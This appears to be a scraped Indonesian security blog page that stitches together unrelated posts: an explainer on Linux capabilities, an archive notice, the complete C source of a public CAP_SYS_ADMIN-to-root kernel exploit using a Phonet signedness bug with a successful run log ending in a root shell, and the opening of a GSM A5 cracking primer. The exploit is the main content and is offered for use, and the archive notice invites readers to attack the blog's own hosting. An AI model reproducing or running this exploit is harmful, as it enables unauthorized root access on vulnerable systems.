Check this out http://bit.ly/fGnppE or http://bit.ly/hycLA8.
Enjoy and Lets hack!
Beberapa waktu belakangan ini perbincangan hangat tentang dunia security linux tidak terlepas dari persoalan linux capabilities. Linux capabilities adalah sebuah system atau metode yang memungkinkan sebuah applikasi jalan dengan privileges root sesuai dengan keperluan. Sangat jelas bahwa tujuan dibuatnya Linux Capabilities system ini untuk keperluan agar, penggunaan hak akses setingkat dengan root bisa digunakan secara lebih efisien, dalam artian bahwa, alih-alih memberikan semua privileges root ke program tertentu, Linux Capabilities membaginya ke beberapa bagian terntentu sehingga jauh lebih secure.
Daftar dari Linux Capabilites bisa anda lihat di /usr/include/linux/capability.h, pada linux kernel 2.6.35.8, terdapat 33 Caps, penjelasan mengenai kegunaan Caps tersebut bisa anda lihat di header file yang berikan diatas.
Contoh implementasi Linux Capabilities
Seperti anda ketahui, ping adalah salah satu command yang ketika di-execute oleh user biasa akan menjalankan proses dengan uid dan gid root, ini tentu akan berimplikasi terhadap security ketika ping itu sendiri punya kelemahan, dan atau kalau anda lihai melihat bahwa ping ini juga dimanfaatkan sebagai backdoor karena punya privalge root tersebut( bisa anda lihat di last byteskrew collection sebagai contoh).
[email protected]:~$ ping -c 3 google.com PING google.com (74.125.235.18) 56(84) bytes of data. 64 bytes from 74.125.235.18: icmp_seq=1 ttl=253 time=21.7 ms 64 bytes from 74.125.235.18: icmp_seq=2 ttl=253 time=19.5 ms 64 bytes from 74.125.235.18: icmp_seq=3 ttl=253 time=21.0 ms --- google.com ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2003ms rtt min/avg/max/mdev = 19.558/20.793/21.792/0.934 ms [email protected]:~$ stat /bin/ping File: `/bin/ping' Size: 30856 Blocks: 64 IO Block: 4096 regular file Device: 801h/2049d Inode: 262234 Links: 1 Access: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2011-01-12 09:43:11.000000000 +0700 Modify: 2007-12-11 00:33:50.000000000 +0700 Change: 2010-12-29 22:21:59.000000000 +0700 [email protected]:~$
Dan ketika ping kita rubah menjadi non-Set-UID program, maka:
[email protected]:/home/elz# chmod u-s /bin/ping [email protected]:~$ stat /bin/ping File: `/bin/ping' Size: 30856 Blocks: 64 IO Block: 4096 regular file Device: 801h/2049d Inode: 262234 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2011-01-12 09:48:46.000000000 +0700 Modify: 2007-12-11 00:33:50.000000000 +0700 Change: 2011-01-12 09:48:38.000000000 +0700 [email protected]:~$ ping -c 3 google.com ping: icmp open socket: Operation not permitted [email protected]:~$ strace ping google.com ... socket(PF_INET, SOCK_RAW, IPPROTO_ICMP) = -1 EPERM (Operation not permitted) ...
Ya.. Operation not permitted, ini karena ping butuh privileges root untuk mengakses RAW Socket yang dibutuhkan oleh program ping tersebut. Nah. dengan Linux capabilities, kita dengan mudah memberi kemampuan khusus hanya untuk mengakses RAW Socket tersebut, yaitu dengan memberi privileges tersebut ke program itu.
[email protected]:/home/elz# setcap cap_net_raw=ep /bin/ping [email protected]:~$ ping -c 3 google.com PING google.com (74.125.235.16) 56(84) bytes of data. 64 bytes from 74.125.235.16: icmp_seq=1 ttl=253 time=21.3 ms 64 bytes from 74.125.235.16: icmp_seq=2 ttl=253 time=21.1 ms 64 bytes from 74.125.235.16: icmp_seq=3 ttl=253 time=26.4 ms --- google.com ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2006ms rtt min/avg/max/mdev = 21.153/22.986/26.493/2.486 ms [email protected]:~$ getcap /bin/ping /bin/ping = cap_net_raw+ep
Dengan kondisi diatas, program ping sekarang hanya memiliki privileges root dalam mengakses RAW Socket, dalam artian bahwa ping tidak bisa melakukan hak-hak istimewa seperti SETUID yang di diperlukan oleh beberapa backdoor ;).
Linux Capabilities insecurity
Tentu, seperti yang kita ketahui semua produk security tidak ada yang sempurna, begitu pun dengan Linux Caps ini. Berbagai exploit bahkan memanfaatkan Linux Caps ini untuk mendapatkan akses setingkat dengan root. Tentu anda masih ingat dengan exploit yang di develope oleh julian tinnes yang membypass mekanisme NULL Dereference exploit prevention dengan memanfaatkan applikasi PULSEAUDIO yang memiliki Caps CAP_SYS_RAWIO. Dengan kemampuan pulseaudio tersebut, attacker dengan mudah mengatur memory mapping agar teknik NULL Dereference-nya berhasil. ( Silahkan baca artikel cyberheb tentang Null Pointer Dereference untuk mengetahui trik ini lebih dalam 😀 ).
Bukan itu saja, beberapa exploit terakhir yang didevelop oleh Dan Rosenberg, seperti caps-to-root yang mengeksploitasi Phonet protocol juga memanfaatkan CAP_SYS_ADMIN untuk mendapatkan instan root privileges.
It’s saturday morning, and I am re-organizing old stuff. I just remembered to put toket archive back online after looking at kecoak-leaks.lol by our old fellow, cbug.
Baru-baru ini KEI pindah hosting dan domain name, and we were absolutely jerk. We wrote article very well for undergr0und community, but then just put them online without thinking if the article will be read or not, nor backed it up. Well, we don’t care. We just want to share anw.
Untungnya masih ada diantara kami yang menyimpan arsip lama toket, namun beberapa artikel ada yang hilang. So, jika kalian sempat nge-fans dengan kecoak *pret*, dan sempat menyimpan kumpulan toket terutama yang *missing*, please contact us. You can send email or sploit our hosting / blog and put them online by yourself, we don’t care. Just follow the previous format of the page. This is just shared hosting anyway, no private sh*t here ;).
Meanwhile, please find TOKET archive from here.
PS: please leave a comment here if you find broken link. thanks.
/* * Linux Kernel CAP_SYS_ADMIN to root exploit * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc -w caps-to-root.c -o caps-to-root * sudo setcap cap_sys_admin+ep caps-to-root * ./caps-to-root * * This exploit is NOT stable: * * * It only works on 32-bit x86 machines * * * It only works on >= 2.6.34 kernels (it could probably be ported back, but * it involves winning a race condition) * * * It requires symbol support for symbols that aren't included by default in * several distributions * * * It requires the Phonet protocol, which may not be compiled on some * distributions * * * You may experience problems on multi-CPU systems * * It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be * surprised if it doesn't work on other distributions. * * ---- * * Lately there's been a lot of talk about how a large subset of Linux * capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all * capability that, among other things, allows mounting filesystems and * injecting commands into an administrator's shell - in other words, it * trivially allows you to get root. However, I found another way to get root * from CAP_SYS_ADMIN...the hard way. * * This exploit leverages a signedness error in the Phonet protocol. By * specifying a negative protocol index, I can craft a series of fake * structures in userspace and cause the incrementing of an arbitrary kernel * address, which I then leverage to execute arbitrary kernel code. * * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth, * and bla. * */ #include <stdio.h> #include <fcntl.h> #include <sys/socket.h> #include <errno.h> #include <string.h> #include <linux/capability.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int getroot(void) { commit_creds(prepare_kernel_cred(0)); return 0; } int konami(void) { /* Konami code! */ asm("inc %edx;" /* UP */ "inc %edx;" /* UP */ "dec %edx;" /* DOWN */ "dec %edx;" /* DOWN */ "shl %edx;" /* LEFT */ "shr %edx;" /* RIGHT */ "shl %edx;" /* LEFT */ "shr %edx;" /* RIGHT */ "push %ebx;" /* B */ "pop %ebx;" "push %eax;" /* A */ "pop %eax;" "mov $getroot, %ebx;" "call *%ebx;"); /* START */ return 0; } /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) return 0; oldstyle = 1; } while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %sn", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %sn", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%sn", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %pn", name, (void *)addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char * argv[]) { int sock, proto, i, offset = -1; unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr; void * map; /* Create a socket to load the module for symbol support */ printf("[*] Testing Phonet support and CAP_SYS_ADMIN...n"); sock = socket(PF_PHONET, SOCK_DGRAM, 0); if(sock < 0) { if(errno == EPERM) printf("[*] You don't have CAP_SYS_ADMIN.n"); else printf("[*] Failed to open Phonet socket.n"); return -1; } /* Resolve kernel symbols */ printf("[*] Resolving kernel symbols...n"); proto_tab = get_kernel_sym("proto_tab"); pn_ops = get_kernel_sym("phonet_dgram_ops"); pn_ioctl = get_kernel_sym("pn_socket_ioctl"); commit_creds = get_kernel_sym("commit_creds"); prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred"); if(!proto_tab || !commit_creds || !prepare_kernel_cred || !pn_ops || !pn_ioctl) { printf("[*] Failed to resolve kernel symbols.n"); return -1; } /* Thanks bla, for reminding me how to do basic math */ landing = 0x20000000; proto = 1 << 31 | (landing - proto_tab) >> 2; /* Map it */ printf("[*] Preparing fake structures...n"); map = mmap((void *)landing, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf("[*] Failed to map landing area.n"); return -1; } /* Pointer to phonet_protocol struct */ ptr = (unsigned long *)landing; ptr[0] = &ptr[1]; /* phonet_protocol struct */ for(i = 1; i < 4; i++) ptr[i] = &ptr[4]; /* proto struct */ for(i = 4; i < 204; i++) ptr[i] = &ptr[204]; /* First, do a test run to calculate any offsets */ target = 0x30000000; /* module struct */ for(i = 204; i < 404; i++) ptr[i] = target; /* Map it */ map = mmap((void *)0x30000000, 0x2000000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf("[*] Failed to map landing area.n"); return -1; } printf("[*] Calculating offsets...n"); socket(PF_PHONET, SOCK_DGRAM, proto); ptr = 0x30000000; for(i = 0; i < 0x800000; i++) { if(ptr[i] != 0) { offset = i * sizeof(void *); break; } } if(offset == -1) { printf("[*] Test run failed.n"); return -1; } /* MSB of pn_ioctl */ target = pn_ops + 10 * sizeof(void *) - 1 - offset; /* Re-fill the module struct */ ptr = (unsigned long *)landing; for(i = 204; i < 404; i++) ptr[i] = target; /* Push pn_ioctl fptr into userspace */ printf("[*] Modifying function pointer...n"); landing = pn_ioctl; while((landing & 0xff000000) != 0x10000000) { socket(PF_PHONET, SOCK_DGRAM, proto); landing += 0x01000000; } /* Map it */ map = mmap((void *)(landing & ~0xfff), 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf("[*] Failed to map payload area.n"); return -1; } /* Copy payload */ memcpy((void *)landing, &konami, 1024); printf("[*] Executing Konami code at ring0...n"); ioctl(sock, 0, NULL); if(getuid()) { printf("[*] Exploit failed to get root.n"); return -1; } printf("[*] Konami code worked! Have a root shell.n"); execl("/bin/sh", "/bin/sh", NULL); }
http://lists.grok.org.uk/pipermail/full-disclosure/2011-January/078350.html
Silahkan baca bagian komentar yang ditulis oleh dan rosenberg sebelum protes kenapa exploit diatas tidak berjalan. Setidaknya ada 5 hal yang wajib ada pada target linux,
Masalah CAP pada linux yang menyangkut security baru-baru ini diangkat oleh spender melalui blog grsecurity. Exploit dan rosenberg diatas pada dasarnya menunjukan semacam bentuk simulasi eksploitasi dengan memanfaatkan CAPS (melalui setcap yang merupakan bagian dari package libcap2-bin) apabila terdapat hole pada kernel linux (dalam hal ini phonet). Berikut ini hasil eksploitasi pada ubuntu 10,
[email protected]:~$ uname -a Linux ubuntu 2.6.35-22-generic #34-Ubuntu SMP Sun Oct 10 09:24:00 UTC 2010 i686 GNU/Linux [email protected]:~$ gcc -w caps-to-root.c -o caps-to-root [email protected]:~$ sudo apt-get install setcap Reading package lists... Done Building dependency tree Reading state information... Done E: Unable to locate package setcap [email protected]:~$ sudo apt-get install libcap2-bin Reading package lists... Done Building dependency tree Reading state information... Done Suggested packages: libcap-dev The following NEW packages will be installed: libcap2-bin 0 upgraded, 1 newly installed, 0 to remove and 162 not upgraded. Need to get 21.7kB of archives. After this operation, 160kB of additional disk space will be used. Get:1 http://us.archive.ubuntu.com/ubuntu/ maverick/universe libcap2-bin i386 1:2.19-2 [21.7kB] Fetched 21.7kB in 2s (7,647B/s) Selecting previously deselected package libcap2-bin. (Reading database ... 128227 files and directories currently installed.) Unpacking libcap2-bin (from .../libcap2-bin_1%3a2.19-2_i386.deb) ... Processing triggers for man-db ... Setting up libcap2-bin (1:2.19-2) ... [email protected]:~$ sudo setcap cap_sys_admin+ep caps-to-root [email protected]:~$ ./caps-to-root [*] Testing Phonet support and CAP_SYS_ADMIN... [*] Resolving kernel symbols... [+] Resolved proto_tab to 0xe0a429e8 [+] Resolved phonet_dgram_ops to 0xe0a41fc0 [+] Resolved pn_socket_ioctl to 0xe0a407c0 [+] Resolved commit_creds to 0xc016c830 [+] Resolved prepare_kernel_cred to 0xc016cc80 [*] Preparing fake structures... [*] Calculating offsets... [*] Modifying function pointer... [*] Executing Konami code at ring0... [*] Konami code worked! Have a root shell. #
Ini gambaran tentang teknologi otentikasi dan enkripsi GSM (2G) yang menjadi latar belakang aktivitas GSM Cracking. Umumnya bentuk implementasi sifatnya dibatasi dalam ruang lingkup tertentu seperti hasil riset organisasi, perusahaan atau komunitas tertentu dan tidak di share, namun konsep dasar yang menjadi pengetahuan umum adalah sama dalam hal A5 Cracking. Konsep dasar itulah yang tertuang dalam tulisan ini.
Hal pertama yang mejadi concern dalam hubungan nya dengan security pada teknologi GSM saat awal-awal implementasi adalah otentikasi, yang berarti bagaimana caranya agar network (operator) bisa menentukan apakah suatu subscriber legal atau tidak. Legal dalam arti subscriber itu memang subscriber operator yang bersangkutan (mis: subscriber tsel hanya boleh pakai jaringan tsel).
Setiap subscriber dibedakan berdasarkan IMSI (International Mobile Subscriber Identity), klo di dunia IP seperti alamat Mac Address. Informasi IMSI ini dimasukan kedalam simcard subscriber dan juga kedalam database operator (HLR – Home Location Register). Untuk kebutuhan otentikasi, dimasukan juga kedalam simcard dan HLR suatu data key yang juga unik untuk setiap subscriber, disebut Ki. Jadi untuk setiap subscriber yang nantinya akan menggunakan network suatu operator harus memiliki 2 informasi, IMSI dan Ki, dimana nilainya sama antara yg tersimpan di simcard (subscriber) dan tersimpan di HLR (operator).
Dalam dunia telekomunikasi umumnya terbagi menjadi 2 bagian besar, yaitu bagian core network dan bagian transmisi, biasa disebut NSS (untuk core network) dan BSS (untuk transmisi). Jenis-jenis perangkat pada network di implementasikan berbeda oleh setiap vendor, misal: ada yang menyatukan bagian HLR dengan bagian AC, ada yang menyatukan bagian HLR dengan MSC+AC, dsb.